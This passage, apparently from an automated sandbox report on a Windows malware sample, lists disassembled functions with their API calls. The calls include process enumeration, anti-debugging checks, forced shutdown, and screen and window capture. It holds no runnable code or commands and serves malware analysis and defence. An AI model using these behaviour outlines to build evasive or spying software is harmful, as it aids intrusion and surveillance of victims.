      • Part of subcall function 00426F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00426F87
      • Part of subcall function 00426F66: Process32FirstW.KERNEL32(?,?), ref: 00426FB0
      • Part of subcall function 00426F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 0042700B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32 ref: 00427028
      • Part of subcall function 00426F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 0042703B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270AC
      • Part of subcall function 00426F66: Process32NextW.KERNEL32(?,0000022C), ref: 004270B8
      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270C9
    • ExitWindowsEx.USER32(00000014,80000000), ref: 004086C1
    • OpenEventW.KERNEL32(00000002,00000000,?), ref: 004086D9
    • SetEvent.KERNEL32 ref: 004086EC
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040D75C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 0040D75C
    • MapAndLoad.IMAGEHLP(CK86,d91a9p0,?,00000000,00000000), ref: 0040D8D3
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040D943
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040D75C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 0040D75C
    • MapAndLoad.IMAGEHLP(CK86,d91a9p0,?,00000000,00000000), ref: 0040D8D3
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040D943
    Strings
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 0042533A, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0042533A, Relevance: 7.6, APIs: 5, Instructions: 58
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 00425415, Relevance: 7.6, APIs: 5, Instructions: 53
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00425415, Relevance: 7.6, APIs: 5, Instructions: 53
    APIs
    • IsDebuggerPresent.KERNEL32 ref: 004254CE
    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004254E3
    • UnhandledExceptionFilter.KERNEL32(00437088), ref: 004254EE
    • GetCurrentProcess.KERNEL32 ref: 0042550A
    • TerminateProcess.KERNEL32 ref: 00425511
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 00BBB57B, Relevance: 6.0, APIs: 4, Instructions: 32
    APIs
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041B57B, Relevance: 6.0, APIs: 4, Instructions: 32
    APIs
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041107F, Relevance: 4.6, APIs: 3, Instructions: 56
    APIs
    • UnmapViewOfFile.KERNEL32 ref: 0041107F
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00411085
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004110BE
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041107F, Relevance: 4.6, APIs: 3, Instructions: 56
    APIs
    • UnmapViewOfFile.KERNEL32 ref: 0041107F
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00411085
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004110BE
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 00416AF4, Relevance: 4.6, APIs: 3, Instructions: 51
    APIs
    • GetPrinterDriverW.WINSPOOL.DRV ref: 00416AF4
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00416AF9
    • StartDocW.GDI32 ref: 00416AFF
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00416AF4, Relevance: 4.6, APIs: 3, Instructions: 51
    APIs
    • GetPrinterDriverW.WINSPOOL.DRV ref: 00416AF4
    • SetUnhandledExceptionFilter.KERNEL32 ref: 00416AF9
    • StartDocW.GDI32 ref: 00416AFF
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 004139E2, Relevance: 4.5, APIs: 3, Instructions: 38
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 004139E2
    • DialogBoxParamW.USER32 ref: 004139E8
    • CreateFileMappingW.KERNEL32 ref: 004139EE
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 004139E2, Relevance: 4.5, APIs: 3, Instructions: 38
    APIs
    • SetUnhandledExceptionFilter.KERNEL32 ref: 004139E2
    • DialogBoxParamW.USER32 ref: 004139E8
    • CreateFileMappingW.KERNEL32 ref: 004139EE
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 00BBB962, Relevance: 4.5, APIs: 3, Instructions: 27
    APIs
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041B962, Relevance: 4.5, APIs: 3, Instructions: 27
    APIs
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00414477, Relevance: 1.5, APIs: 1, Instructions: 36
    APIs
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 0041826D, Relevance: 1.5, APIs: 1, Instructions: 20
    APIs
    • GetTimeZoneInformation.KERNEL32(?), ref: 0041827C
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0041B99D, Relevance: 94.9, APIs: 63, Instructions: 376
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041BB7C, Relevance: 94.8, APIs: 63, Instructions: 315
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041B927, Relevance: 93.4, APIs: 62, Instructions: 394
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041C079, Relevance: 93.2, APIs: 62, Instructions: 163
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041C206, Relevance: 93.1, APIs: 62, Instructions: 128
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041B840, Relevance: 91.9, APIs: 61, Instructions: 425
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041BB36, Relevance: 91.8, APIs: 61, Instructions: 329
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041BC99, Relevance: 91.8, APIs: 61, Instructions: 279
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BB7B9E, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 389
    APIs
    • LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00BB7BD0
    • GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00BB7BE1
    • GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00BB7BEE
    • GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00BB7BFB
    • GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00BB7C08
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00BB7C15
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00BB7C22
    • GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00BB7C2F
    • LoadLibraryA.KERNEL32(ole32.dll), ref: 00BB7C77
    • GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00BB7C82
    • LoadLibraryA.KERNEL32(gdi32.dll), ref: 00BB7C94
    • GetProcAddress.KERNEL32(?,CreateDCW), ref: 00BB7C9F
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00BB7CAB
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00BB7CB8
    • GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00BB7CC5
    • GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00BB7CD2
    • GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00BB7CDF
    • GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00BB7CEC
    • GetProcAddress.KERNEL32(00000001,DeleteDC), ref: 00BB7CF9
    • LoadImageW.USER32(00000000,00007F00,00000002,00000000,00000000,00008040), ref: 00BB7D9D
    • GetIconInfo.USER32(?,?), ref: 00BB7DB2
    • GetCursorPos.USER32(?), ref: 00BB7DC0
    • DrawIcon.USER32(?,?,?,?), ref: 00BB7E91
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • lstrcmpiW.KERNEL32(?,?), ref: 00BB7F13
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • FreeLibrary.KERNEL32(00000000), ref: 00BB8030
    • FreeLibrary.KERNEL32(?), ref: 00BB803A
    • FreeLibrary.KERNEL32(00000001), ref: 00BB8044
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BB4383, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 308
    APIs
      • Part of subcall function 00BCB77C: GetClassNameW.USER32(?,?,00000101), ref: 00BCB797
    • GetWindowInfo.USER32(?,?), ref: 00BB43EF
    • IntersectRect.USER32(?,?), ref: 00BB4412
    • IntersectRect.USER32(?,?), ref: 00BB4468
    • GetDC.USER32(00000000), ref: 00BB44AC
    • CreateCompatibleDC.GDI32 ref: 00BB44BD
    • ReleaseDC.USER32(00000000), ref: 00BB44C7
    • SelectObject.GDI32(?,?), ref: 00BB44DC
    • DeleteDC.GDI32 ref: 00BB44EA
    • TlsSetValue.KERNEL32(?), ref: 00BB4535
    • EqualRect.USER32(?,?), ref: 00BB454F
    • SaveDC.GDI32 ref: 00BB455A
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB4575
    • SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00BB4595
    • DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00BB45A7
    • RestoreDC.GDI32(?,?), ref: 00BB45BE
    • SaveDC.GDI32 ref: 00BB45E0
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB45F6
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00BB460F
    • RestoreDC.GDI32(?,?), ref: 00BB461D
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB4630
    • SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00BB4640
    • DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00BB4652
    • TlsSetValue.KERNEL32(00000000), ref: 00BB466C
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB468C
    • DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00BB46A8
    • SelectObject.GDI32(?,?), ref: 00BB46BE
    • DeleteDC.GDI32 ref: 00BB46C5
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00BB46ED
      • Part of subcall function 00BB42A1: GdiFlush.GDI32 ref: 00BB42F8
    • PrintWindow.USER32(00000008,?,00000000), ref: 00BB4703
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00414383, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 308
    APIs
      • Part of subcall function 0042B77C: GetClassNameW.USER32(?,?,00000101), ref: 0042B797
    • GetWindowInfo.USER32(?,?), ref: 004143EF
    • IntersectRect.USER32(?,?), ref: 00414412
    • IntersectRect.USER32(?,?), ref: 00414468
    • GetDC.USER32(00000000), ref: 004144AC
    • CreateCompatibleDC.GDI32 ref: 004144BD
    • ReleaseDC.USER32(00000000), ref: 004144C7
    • SelectObject.GDI32(?,?), ref: 004144DC
    • DeleteDC.GDI32 ref: 004144EA
    • TlsSetValue.KERNEL32(?), ref: 00414535
    • EqualRect.USER32(?,?), ref: 0041454F
    • SaveDC.GDI32 ref: 0041455A
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414575
    • SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00414595
    • DefWindowProcW.USER32(?,00000317,?,00000002), ref: 004145A7
    • RestoreDC.GDI32(?,?), ref: 004145BE
    • SaveDC.GDI32 ref: 004145E0
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004145F6
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 0041460F
    • RestoreDC.GDI32(?,?), ref: 0041461D
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414630
    • SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00414640
    • DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00414652
    • TlsSetValue.KERNEL32(00000000), ref: 0041466C
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0041468C
    • DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 004146A8
    • SelectObject.GDI32(?,?), ref: 004146BE
    • DeleteDC.GDI32 ref: 004146C5
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004146ED
      • Part of subcall function 004142A1: GdiFlush.GDI32 ref: 004142F8
    • PrintWindow.USER32(00000008,?,00000000), ref: 00414703
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00401090, Relevance: 33.0, APIs: 22, Instructions: 49
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0042B7E3, Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 207
    APIs
    • TlsAlloc.KERNEL32(?,004345C0,00000000), ref: 0042B7FD
    • RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,004345C0,00000000), ref: 0042B824
    • CreateEventW.KERNEL32(00432AFC,00000001,00000000,?), ref: 0042B84B
    • CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B86B
    • CreateFileMappingW.KERNEL32(00000000,00432AFC,00000004,00000000,03D09128,?), ref: 0042B893
    • MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 0042B8A9
    • GetDC.USER32(00000000), ref: 0042B8C6
    • GetDeviceCaps.GDI32(?,00000008), ref: 0042B8E6
    • GetDeviceCaps.GDI32(00000000,0000000A), ref: 0042B8F0
    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 0042B8FD
      • Part of subcall function 0041FA1C: GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA54
      • Part of subcall function 0041FA1C: GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA6A
      • Part of subcall function 0041FA1C: DeleteObject.GDI32(00000002), ref: 0041FA77
      • Part of subcall function 0041FA1C: CreateDIBSection.GDI32(004345C0,?,00000000,00000000,00000000,00000000), ref: 0041FAE7
      • Part of subcall function 0041FA1C: DeleteObject.GDI32(00000002), ref: 0041FB06
    • ReleaseDC.USER32(00000000,00000000), ref: 0042B925
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B9C9
    • GetDC.USER32(00000000), ref: 0042B9DE
    • CreateCompatibleDC.GDI32 ref: 0042B9EB
    • CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 0042BA00
    • SelectObject.GDI32(?), ref: 0042BA17
    • ReleaseDC.USER32(00000000), ref: 0042BA2D
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BA755C, Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 197
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00BA7588
    • GetModuleHandleW.KERNEL32(00000000), ref: 00BA75A8
    • GetModuleHandleW.KERNEL32(?), ref: 00BA7667
    • GetProcAddress.KERNEL32(?), ref: 00BA771E
    • GetProcAddress.KERNEL32(?), ref: 00BA772F
    • GetProcAddress.KERNEL32(?), ref: 00BA7743
    • GetProcAddress.KERNEL32(?), ref: 00BA7754
    • GetProcAddress.KERNEL32 ref: 00BA7765
    • GetProcAddress.KERNEL32(?), ref: 00BA7776
    • GetProcAddress.KERNEL32(?), ref: 00BA7787
    • GetProcAddress.KERNEL32(?), ref: 00BA7798
    • GetProcAddress.KERNEL32(?), ref: 00BA77A9
    • GetProcAddress.KERNEL32(?), ref: 00BA77BA
    • GetProcAddress.KERNEL32(?), ref: 00BA77CA
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040755C, Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 197
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00407588
